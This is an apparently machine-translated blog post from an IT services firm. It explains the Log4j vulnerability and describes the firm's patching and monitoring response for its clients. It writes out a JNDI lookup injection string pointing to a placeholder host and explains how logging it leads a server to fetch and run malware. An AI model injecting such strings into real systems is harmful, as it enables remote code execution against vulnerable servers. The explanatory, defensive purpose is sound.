You've probably seen some of this passing in the media in recent weeks. A critical vulnerability has been found in globally used software that you have probably never heard of, Log4j. Therefore, first some explanation;
Log4j has been incorporated into a huge number of platforms, apps and services. Software from Cisco, IBM, VMware, Fortinet and Red Hat are a few examples. The exact application of the library varies, but recording events in applications always plays a role. Consider noting login attempts or the identity of the user of an application.
The application processes an event; Log4j runs data. The application's programmer determines what data. That could be, as mentioned earlier, the username of an attempted login. Or the time a user logs in.
The vulnerability Alibaba's security team stumbled upon (they discovered it) stems from an interaction between Java programming language and library Log4j. Java, in combination with Log4j, is capable of executing code in a remote server. To do so, programmers issue the following rule: ${jndi:ldap://example.com/vaneenurl}. The actual url is replaceable with the address of a server of your choice. If you execute the rule in a Java application, the application tries to output data from the specified url.
This is not a vulnerability per se, because in a desirable practice scenario, only an authorized administrator has the ability to add the rule in an application. The problem starts at Log4j. If Log4j runs the rule, then Java interprets the exact same command as a rule purposefully inserted into the application by a developer.
Suppose Log4j is set up to log the contents of a chat message on an online game. A user of the game sends the above line in a chat message. The url points to a server with instructions for executing a malware application. Log4j runs the rule. Java interprets a command - and follows the command cleanly. The user succeeds in hacking the server, without obtaining a single password.
Also, the National Cyber Security Center (NCSC) has warns (part of the Department of Justice and Security) that the computer systems of almost all companies and institutions could potentially be affected. Naturally, we took immediate action on this.
For our clients, whose ICT environments we actively manage, we have been very busy the last few weeks mapping the problems and identifying possible risks. In cases where the vulnerability in question could possibly (sooner or later) be applicable, we have, in consultation and coordination with application suppliers and software suppliers, taken the necessary measures to close this Log4J leak. Also, our monitoring has received an additional update that scans for the potential abuse of the Log4J security vulnerability and our managed firewalls are equipped with the correct update definitions to detect and block such an attack.
Of course, in today's world, with increasing cyber-threats, it remains important to stay sharp and ensure proper security measures, staff awareness and active management of your ICT environment. If you doubt that Log4j can cause damage within your environment or if you are curious about what measures can be taken to ‘raise the security threshold’, you can of course (#superlogical) an occupation do on Analyst ICT.
